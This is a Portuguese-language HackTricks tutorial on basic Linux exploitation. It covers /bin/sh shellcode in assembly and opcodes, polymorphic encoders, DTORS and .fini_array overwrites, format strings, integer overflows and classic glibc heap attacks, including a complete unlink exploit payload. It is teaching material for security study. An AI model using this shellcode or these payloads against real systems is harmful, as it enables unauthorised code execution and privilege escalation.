hacktricks/exploiting/linux-exploiting-basic-esp/README.md

642 lines
36 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploração no Linux (Básico)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **2.SHELLCODE**
Ver interrupções do kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; limpamos eax\
xor ebx, ebx ; ebx = 0 pois não há argumento para passar\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Executar syscall
**nasm -f elf assembly.asm** —> Retorna um .o\
**ld assembly.o -o shellcodeout** —> Gera um executável com o código em assembly e podemos extrair os opcodes com **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Para verificar se é realmente nosso shellcode e extrair os OpCodes
**Verificar se o shellcode funciona**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para verificar se as chamadas de sistema estão sendo feitas corretamente, o programa anterior deve ser compilado e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
Ao criar shellcodes, um truque pode ser usado. A primeira instrução é um salto para uma chamada. A chamada chama o código original e também coloca o EIP na pilha. Após a instrução de chamada, inserimos a string necessária, para que com esse EIP possamos apontar para a string e continuar executando o código.
EX **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ usando o Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Buscador de Ovos:**
Trata-se de um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode armazenada lá (procura por alguma assinatura colocada na shellcode). Útil nos casos em que há apenas um pequeno espaço para injetar código.
**Shellcodes Polimórficos**
São shells cifrados que possuem um pequeno código que os descriptografa e salta para ele, usando o truque de Call-Pop, este seria um **exemplo de cifra de César**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Métodos complementares**
**Ret2Ret**
Útil quando não é possível inserir um endereço de pilha no EIP (verifica-se que o EIP não contém 0xbf) ou quando não é possível calcular a localização do shellcode. No entanto, a função vulnerável aceita um parâmetro (o shellcode será colocado aqui).
Dessa forma, ao alterar o EIP por um endereço de um **ret**, a próxima instrução será carregada (que é o endereço do primeiro argumento da função). Ou seja, o shellcode será carregado.
O exploit seria: SHELLCODE + Preenchimento (até o EIP) + **\&ret** (os próximos bytes da pilha apontam para o início do shellcode, pois o endereço do argumento passado é colocado na pilha)
Parece que funções como **strncpy**, uma vez completas, removem da pilha o endereço onde o shellcode estava armazenado, impossibilitando essa técnica. Ou seja, o endereço passado para a função como argumento (que armazena o shellcode) é modificado por um 0x00, então, ao chamar o segundo **ret**, ele encontra um 0x00 e o programa trava.
**Técnica de Murat**
No Linux, todos os programas são mapeados começando em 0xbfffffff.
Observando como a pilha de um novo processo é construída no Linux, é possível desenvolver um exploit de modo que o programa seja iniciado em um ambiente onde a única variável seja o shellcode. O endereço desta variável pode ser calculado como: addr = 0xbfffffff - 4 - strlen(NOME\_do\_executável\_completo) - strlen(shellcode)
Dessa forma, seria facilmente obtido o endereço onde está a variável de ambiente com o shellcode.
Isso é possível graças à função execle, que permite criar um ambiente com apenas as variáveis de ambiente desejadas.
**Estouros de inteiros**
Esse tipo de estouro ocorre quando uma variável não está preparada para suportar um número tão grande quanto o que é passado, possivelmente devido a uma confusão entre variáveis com e sem sinal, por exemplo:
```c
#include <stdion.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}
```
No exemplo acima, vemos que o programa espera 2 parâmetros. O primeiro é o comprimento da próxima string e o segundo é a string.
Se passarmos um número negativo como o primeiro parâmetro, ele mostrará que len < 256 e passará por esse filtro, e também strlen(buffer) será menor que l, pois l é um unsigned int e será muito grande.
Esse tipo de overflow não busca escrever algo no processo do programa, mas sim contornar filtros mal projetados para explorar outras vulnerabilidades.
**Variáveis não inicializadas**
Não se sabe o valor que uma variável não inicializada pode assumir e pode ser interessante observar isso. Pode ser que ela assuma o valor que uma variável da função anterior assumia e que essa variável seja controlada pelo atacante.
##
###
###
###
### **.fini\_array**
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar ao main novamente para **explorar a string de formato uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
#Put your address in 0x8049934
```
Note que isso **não** criará um **loop eterno** porque quando você voltar para o principal, o canário perceberá, o final da pilha pode estar corrompido e a função não será chamada novamente. Portanto, com isso você poderá **ter mais 1 execução** da vulnerabilidade.
### **Formatar Strings para Extrair Conteúdo**
Uma string de formato também pode ser abusada para **extrair conteúdo** da memória do programa.\
Por exemplo, na seguinte situação uma **variável local na pilha apontando para uma flag**. Se você **encontrar** onde na **memória** o **ponteiro** para a **flag** está, você pode fazer o **printf acessar** esse **endereço** e **imprimir** a **flag**:
Então, a flag está em **0xffffcf4c**
![](<../../.gitbook/assets/image (618) (2).png>)
E a partir do vazamento você pode ver que o **ponteiro para a flag** está no **8º** parâmetro:
![](<../../.gitbook/assets/image (623).png>)
Portanto, **acessando** o **8º parâmetro** você pode obter a flag:
![](<../../.gitbook/assets/image (624).png>)
Note que seguindo o **exploit anterior** e percebendo que você pode **vazar conteúdo**, você pode **definir ponteiros** para o **`printf`** na seção onde o **executável** está **carregado** e **extrair** ele **inteiramente**!
### **DTOR**
{% hint style="danger" %}
Atualmente é muito **incomum encontrar um binário com uma seção dtor**.
{% endhint %}
Os destrutores são funções que são **executadas antes do programa terminar**.\
Se você conseguir **escrever** um **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.\
Obtenha o endereço desta seção com:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Geralmente você encontrará a seção **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
### **Strings de Formato para Estouros de Buffer**
O **sprintf move** uma string formatada **para** uma **variável**. Portanto, você pode abusar da **formatação** de uma string para causar um **estouro de buffer na variável** para onde o conteúdo é copiado.\
Por exemplo, a carga `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um estouro de buffer.
### **Estruturas \_\_atexit**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros**. Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **obterá controle** sobre o **processo**, mas atualmente isso é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
### **setjmp() & longjmp()**
{% hint style="danger" %}
Atualmente é muito **incomum explorar isso**.
{% endhint %}
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
**`longjmp()`** permite **restaurar** o **contexto**.\
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
O que acontece é que EIP e ESP são passados pela função **`PTR_MANGLE`**, então as **arquiteturas vulneráveis a esse ataque são as mesmas acima**.\
Eles são úteis para recuperação de erros ou interrupções.\
No entanto, pelo que li, os outros registradores não são protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
**VTable e VPTR em C++**
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr faz parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ela poderia ser **modificada** para **apontar** para um método fictício para que a execução de uma função vá para o shellcode.
## **Medidas Preventivas e Evasões**
###
**Substituição do Libsafe**
Ativado por: LD\_PRELOAD=/lib/libsafe.so.2\
ou\
“/lib/libsave.so.2” > /etc/ld.so.preload
Ele intercepta chamadas para algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
**Espaço de Endereço ASCII Armored**
Consiste em carregar bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
**ret2plt**
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, o mesmo é feito apontando para GOT+1 e copiando o 2º byte de system()... Por fim, a direção armazenada na GOT que será system() é chamada.
**Jaulas com chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico em um subdiretório específico
Um administrador pode sair dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
**Instrumentação de Código**
Valgrind —> Procura por erros\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Estouros de Heap: Exploits Básicos**
**Chunk Alocado**
prev\_size |\
size | —Cabeçalho\
\*mem | Dados
**Chunk Livre**
prev\_size |\
size |\
\*fd | Ptr chunk seguinte\
\*bk | Ptr chunk anterior —Cabeçalho\
\*mem | Dados
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois chunks livres juntos (eles são unidos)
No “size” há bits para indicar: Se o chunk anterior está em uso, se o chunk foi alocado por meio de mmap() e se o chunk pertence à arena primária.
Ao liberar um chunk, se algum dos contíguos estiver livre, eles são fundidos pela macro unlink() e o novo chunk maior é passado para frontlink() para ser inserido no bin apropriado.
unlink(){\
BK = P->bk; —> O BK do novo chunk é o que o chunk que já estava livre antes tinha\
FD = P->fd; —> O FD do novo chunk é o que o chunk que já estava livre antes tinha\
FD->bk = BK; —> O BK do chunk seguinte aponta para o novo chunk\
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
}
Portanto, se conseguirmos modificar o P->bk com o endereço de um shellcode e o P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, é possível:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
E assim, o shellcode é executado ao sair do programa.
Além disso, a 4ª instrução de unlink() escreve algo e o shellcode precisa ser ajustado para isso:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso resulta na escrita de 4 bytes a partir do 8º byte do shellcode, então a primeira instrução do shellcode deve ser um jmp para pular isso e chegar a alguns nops que levam ao restante do shellcode.
Portanto, o exploit é criado:
No buffer1, inserimos o shellcode começando com um jmp para que ele caia nos nops ou no restante do shellcode.
Após o shellcode, inserimos preenchimento até chegar ao campo prev\_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev\_size para que tenha o bit que indica que está livre) e “-4” (0xfffffffc) no size (para que, ao verificar no 3º chunk se o 2º estava livre, na verdade vá para o prev\_size modificado que dirá que está livre) -> Assim, quando o free() investigar, ele irá para o size do 3º, mas na verdade irá para o 2º - 4 e pensará que o 2º chunk está livre. Então ele chamará **unlink()**.
Ao chamar unlink(), ele usará os primeiros dados do 2º chunk como P->fd, então o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele adicionará 12 ao endereço armazenado em FD) será inserido lá. E nesse endereço, a segunda direção encontrada no 2º chunk será inserida, que será o endereço do shellcode (falso P->bk).
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de preenchimento**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interessa que o bit que indica que o chunk anterior está livre esteja como 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o "size" do 3º chunk está 4bytes atrás (aponta para prev\_size) onde ele verifica se o 2º chunk está livre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload, vamos adicionar 8 bytes de preenchimento no início**
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será sobrescrito para executar o shellcode na 2ª chamada de free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #Como mencionado, o payload começa com 8 bytes de preenchimento**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #O 2º chunk é modificado, got\_free aponta para onde vamos armazenar o endereço addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando em ordem inversa (wargame)**
Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reserva.
Neste caso:
No chunk c, colocamos o shellcode
Usamos o chunk a para sobrescrever o b de forma que o bit PREV\_INUSE do tamanho seja desativado, fazendo o programa pensar que o chunk a está livre.
Além disso, sobrescrevemos o tamanho na cabeça do b para ser -4.
Assim, o programa pensará que "a" está livre e em um bin, então chamará unlink() para desvinculá-lo. No entanto, como o tamanho PREV\_SIZE é -4, ele pensará que o chunk "a" realmente começa em b+4. Ou seja, fará um unlink() em um chunk que começa em b+4, então em b+12 estará o ponteiro "fd" e em b+16 estará o ponteiro "bk".
Dessa forma, se colocarmos o endereço do shellcode em bk e o endereço da função "puts()" -12 em fd, teremos nosso payload.
**Técnica de Frontlink**
Frontlink é chamado quando algo é liberado e nenhum dos chunks adjacentes está livre, unlink() não é chamado, mas frontlink() é chamado diretamente.
Vulnerabilidade útil quando o malloc atacado nunca é liberado (free()).
Requer:
Um buffer que pode ser estourado com a função de entrada de dados
Um buffer adjacente a este que deve ser liberado e terá o campo fd de sua cabeça modificado devido ao estouro do buffer anterior
Um buffer para liberar com um tamanho maior que 512, mas menor que o buffer anterior
Um buffer declarado antes do passo 3 que permite sobrescrever o prev\_size deste
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas apenas um é liberado, podemos fazer um exploit.
**Vulnerabilidade double free()**
Se free() for chamado duas vezes com o mesmo ponteiro, dois bins apontarão para o mesmo endereço.
Se quisermos reutilizar um, não haverá problemas. Se quisermos usar outro, ele receberá o mesmo espaço, então teremos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreverá.
**After free()**
Um ponteiro previamente liberado é usado novamente sem controle.
## **8 Heap Overflows: Exploits avançados**
As técnicas Unlink() e FrontLink() foram removidas ao modificar a função unlink().
**The house of mind**
Apenas uma chamada para free() é necessária para executar código arbitrário. É interessante procurar um segundo chunk que possa ser estourado por um anterior e liberado.
Uma chamada para free() chama public\_fREe(mem), que faz:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
\_int_free(ar_ptr, mem);
}
Em \[1], verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne verdadeira e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (em nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)
Dessa forma, se pudermos controlar um chunk, por exemplo, em 0x0804a000 e um chunk será liberado em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo, **0x0804a000**. Quando este segundo chunk for liberado, ele encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois é aplicado a 0x081002a0 o and que vimos antes e daí é extraído o valor dos primeiros 4 bytes, o ar_ptr)
Dessa forma, chama-se \_int_free(ar_ptr, mem), ou seja, **\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no chunk que será liberado.
Como unsorted_chunks é definido, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Portanto, se escrevermos o valor de \_\_DTOR_END\_\_-12 em av->bins\[2], na última instrução, será escrito em \_\_DTOR_END\_\_ o endereço do segundo chunk.
Ou seja, no primeiro chunk, no início, devemos colocar muitas vezes o endereço de \_\_DTOR_END\_\_-12, pois é de lá que av->bins\[2] o pegará.
No endereço onde cair o endereço do segundo chunk com os últimos 5 zeros, devemos escrever o endereço deste primeiro chunk para que heap_for_ptr() pense que ar_ptr está no início do primeiro chunk e pegue av->bins\[2] de lá.
No segundo chunk e graças ao primeiro, sobrescrevemos o prev_size com um salto 0x0c e o size com algo para ativar -> NON_MAIN_ARENA
Em seguida, no chunk 2, colocamos muitos nops e, finalmente, o shellcode
Dessa forma, \_int_free(TROÇO1, TROÇO2) será chamado e seguirá as instruções para escrever em \_\_DTOR_END\_\_ o endereço do prev_size do TROÇO2, que saltará para o shellcode.
Para aplicar esta técnica, é necessário que alguns requisitos sejam atendidos, o que complica um pouco mais o payload.
Esta técnica não é mais aplicável, pois foi aplicado quase o mesmo patch que para unlink. Verifica-se se o novo local para onde aponta também está apontando para ele.
**Fastbin**
É uma variante de The house of mind
Interessa-nos executar o seguinte código após a primeira verificação da função \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
Desta forma, se for colocado em "fb", ele aponta para uma função na GOT, onde será colocada a direção do chunk sobrescrito. Para isso, é necessário que a arena esteja próxima das direções de dtors. Mais precisamente, av->max\_fast deve estar na direção que será sobrescrita.
Dado que com The House of Mind vimos que controlávamos a posição do av.
Então, se no campo size for inserido um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() retornará fastbins\[-1\], que apontará para av->max\_fast
Neste caso, av->max\_fast será a direção que será sobrescrita (não para onde aponta, mas essa posição será sobrescrita).
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 8, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops).
Além disso, esse mesmo chunk falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes adiante.
Devido aos nulos de \_DTOR\_END\_ e às poucas direções na GOT, nenhuma direção dessas seções serve para ser sobrescrita, então vejamos como aplicar fastbin para atacar a pilha.
Outra forma de ataque é redirecionar o **av** para a pilha.
Se modificarmos o size para ser 16 em vez de 8, então: fastbin\_index() retornará fastbins\[0\] e podemos usar isso para sobrescrever a pilha.
Para isso, não deve haver nenhum canary ou valores estranhos na pilha, na verdade, devemos encontrar o seguinte: 4 bytes nulos + EBP + RET
Os 4 bytes nulos são necessários para que o **av** esteja nessa direção e o primeiro elemento de um **av** é o mutex que deve ser 0.
O **av->max\_fast** será o EBP e será um valor que nos permitirá ignorar as restrições.
No **av->fastbins\[0\]** será sobrescrito com a direção de **p** e será o RET, assim a shellcode será executada.
Além disso, em **av->system\_mem** (1484 bytes acima da posição na pilha) haverá bastante lixo que nos permitirá ignorar a verificação que é feita.
Além disso, é necessário que o chunk adjacente ao liberado seja maior que 8 -> Como mencionamos que o tamanho do chunk liberado é 16, neste chunk falso só precisamos colocar um tamanho maior que 8 (além disso, a shellcode estará no chunk liberado, então no início teremos que colocar um jmp que caia em nops que vêm após o campo size do novo chunk falso).
**The House of Spirit**
Neste caso, buscamos ter um ponteiro para um malloc que possa ser alterado pelo atacante (por exemplo, o ponteiro está na pilha abaixo de um possível overflow para uma variável).
Assim, poderíamos fazer com que esse ponteiro apontasse para onde quer que fosse. No entanto, nem todo local é válido, o tamanho do chunk falso deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma chamada futura para malloc()+8. Portanto, se soubermos que após esse ponteiro vulnerável é feita uma chamada para malloc(40), o tamanho do chunk falso deve ser igual a 48.
Por exemplo, se o programa perguntar ao usuário por um número, poderíamos inserir 48 e apontar o ponteiro de malloc modificável para os próximos 4 bytes (que poderiam pertencer ao EBP com sorte, assim o 48 ficaria atrás, como se fosse o cabeçalho size). Além disso, o endereço ptr-4+48 deve atender a várias condições (sendo neste caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
Caso isso seja cumprido, quando a próxima chamada para malloc que dissemos que era malloc(40) for feita, o endereço do EBP será atribuído. Caso o atacante também possa controlar o que é escrito nesse malloc, ele pode sobrescrever tanto o EBP quanto o EIP com o endereço desejado.
Acredito que isso ocorre porque quando o free() é chamado, ele armazenará que no endereço que aponta para o EBP da pilha há um chunk de tamanho perfeito para o novo malloc() que está sendo reservado, então ele atribui esse endereço.
**The House of Force**
É necessário:
* Um overflow para um chunk que permita sobrescrever o wilderness
* Uma chamada para malloc() com o tamanho definido pelo usuário
* Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), para que qualquer solicitação de memória grande seja tratada em \_int\_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para apontar para uma área de memória sob o controle do atacante, como a pilha. Em av->top, será colocado \&EIP - 8.
Devemos sobrescrever av->top para apontar para a área de memória sob o controle do atacante:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim obtém o valor da direção do chunk wilderness atual (o av->top atual) e remainder é exatamente a soma dessa direção mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante que o tamanho do novo chunk wilderness seja maior que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para \&EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
**The House of Lore**
**Corrupção SmallBin**
Os chunks liberados são inseridos no bin com base em seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente colocado em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o anterior liberado puder ser usado, ele será retornado, mas se um chunk maior for alocado, o chunk liberado em unsorted bins será colocado em seu bin apropriado.
Para alcançar o código vulnerável, a solicitação de memória deve ser maior que av->max\_fast (normalmente 72) e menor que MIN\_LARGE\_SIZE (512).
Se houver um chunk no bin do tamanho adequado ao solicitado, ele será retornado após ser desvinculado:
bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, e se bck apontar para a pilha, o próximo chunk alocado receberá esse endereço.
bck->fd = bin; A lista é fechada fazendo com que ele aponte para bin
São necessários:
Reserve dois mallocs, de modo que o primeiro possa sofrer overflow após o segundo ter sido liberado e inserido em seu bin (ou seja, um malloc maior que o segundo deve ser reservado antes do overflow).
O malloc reservado com o endereço escolhido pelo atacante deve ser controlado pelo atacante.
O objetivo é o seguinte: se pudermos fazer um overflow em um heap que tem um pedaço liberado e em seu bin abaixo, podemos alterar seu ponteiro bk. Ao alterar o ponteiro bk e se esse pedaço se tornar o primeiro da lista do bin e for reservado, o bin será enganado e informado de que o próximo pedaço da lista está na falsa direção que definimos (como stack ou GOT, por exemplo). Portanto, se outro pedaço for reservado e o atacante tiver permissões nele, um pedaço na posição desejada será fornecido e poderá ser escrito.
Após liberar o pedaço modificado, é necessário reservar um pedaço maior do que o liberado, para que o pedaço modificado saia dos bins não ordenados e seja inserido em seu bin.
Uma vez no bin, é hora de modificar o ponteiro bk através do overflow para apontar para o endereço que desejamos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo pedaço está na direção falsa. Em seguida, o pedaço desejado será fornecido.
Para que a vulnerabilidade seja explorada o mais rápido possível, o ideal seria: reservar o pedaço vulnerável, reservar o pedaço a ser modificado, liberar esse pedaço, reservar um pedaço maior do que o a ser modificado, modificar o pedaço (vulnerabilidade), reservar um pedaço do mesmo tamanho do vulnerado e reservar um segundo pedaço do mesmo tamanho, que apontará para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o pedaço "não" é falso: verifica-se se bck->fd está apontando para a vítima. Ou seja, no nosso caso, se o ponteiro fd* do pedaço falso apontado na pilha está apontando para a vítima. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço correto da vítima. Para que pareça um pedaço verdadeiro.
**Corrupção LargeBin**
São necessários os mesmos requisitos que antes e alguns adicionais, além disso, os pedaços reservados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do pedaço modificado de forma que esse tamanho - nb seja < MINSIZE.
Por exemplo, é necessário definir o tamanho como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para tornar o ataque ainda mais complicado.
**Heap Spraying**
